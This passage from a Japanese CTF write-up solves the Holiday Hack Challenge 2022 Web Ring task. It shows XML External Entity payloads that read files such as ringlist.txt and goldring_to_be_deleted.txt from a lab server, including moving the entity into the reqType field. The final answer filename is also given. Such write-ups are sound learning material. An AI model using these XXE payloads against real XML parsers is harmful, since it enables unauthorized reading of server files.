  <imgDrop>img3</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</root>

あとはどこかにxxe;を仕込んで抜き出すだけ…と思ったが、ここでかなり日数を使った。
随所随所にあるヒントからパスを導き出す。
…というか大量の試行から答えが出てきたので、以下に書くのは推察というより、答えからこういうことだったのだろうと逆算して記載しているのに近い。

  • 大文字でAPPと表記されている所がある。コンテナでよくあるルートにappフォルダを置いて構築する事を意味している?
  • RINGLISTというワードが出てくる。これが姫が隠していたもの。つまり逆に言えば、見つけるべきもの。
    • 拡張子抜きのファイル名はringlist
  • SIMPLE FORMATというワードも出てくる。拡張子についてのヒントだろう。簡単なものというといくつかあるが…
    • 拡張子はtxtだった

あとは、リクエストからディレクトリ構造を理解して、ディレクトリをくまなく探すと以下のように/app/static/images/ringlist.txtで何かが帰ってくる。

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///app/static/images/ringlist.txt" >]>
<root>
  <imgDrop>&xxe;</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</root>

応答は以下の通り。

{
  "appResp": "Ah, you found my ring list! Gold, red, blue - so many colors! Glad I don't keep any secrets in it any more! Please though, don't tell anyone about this.^She really does try to keep things safe. Best just to put it away. (click)",
  "droppedOn": "none",
  "visit": "static/images/pholder-morethantopsupersecret63842.png,262px,100px"
}

よくわからないので、通常のリクエストをInterceptして書き換えて表示させてみる。

出てきた破かれたフォルダーみたいなものに書かれているのは以下のようなこと。

x_phial_pholder_2022
bluering.txt
redring.txt

なるほど。XXEのURL部分を
file:///app/static/images/x_phial_pholder_2022/bluering.txt
に変えてみると、blue ring用のコメントが出てきた。いい感じ。
redring.txtも出てきた。
彼女が言うには"Gold"もあるみたいなので、goldring.txtとしてみるがダメ。
他にもsilverringがあったな。silverring.txtを見てみると、なにかがまた出てくる。

よーく見てみると、リングにgoldring_to_be_deleted.txtと書いてあるように見える。
試すと、違うリクエストが帰って来る。ok.

Hmmm, and I thought you wanted me to take a look at that pretty silver ring, but instead, you've made a pretty bold REQuest. 
That's ok, but even if I knew anything about such things, I'd only use a secret TYPE of tongue to discuss them.
She's definitely hiding something.

噴水が完全に味方になった。
REQuest?TYPE?reqtypeを変えればいいの?
色々やっていると、&xxe;をreqTypeの方に入れても特にエラーが出ないことに気が付いた。
imgDropを戻して、&xxe;をreqTypeに載せたら進んだ。
具体的には以下のようにした。

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt" >]>
<root>
  <imgDrop>img1</imgDrop>
  <who>princess</who>
  <reqType>&xxe;</reqType>
</root>

すると…

ついに手に入った!
ファイル名を答えよという問題なので、応答にあるstatic/images/x_phial_pholder_2022/goldring-morethansupertopsecret76394734.pngからファイル名を取り、
goldring-morethansupertopsecret76394734.pngを答えると正解。

Webリングもゲットー!

途中に…

Web Ringから次のリングへの途中に意味ありげなスペースがある。

よく見ると縄が垂れ下がっていて、↑キーで上に移動できる。
途中で←へ移動すると宝箱がある。

 
 
 

次 -> Recover the Cloud Ring - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [6/8] - はまやんはまやんはまやん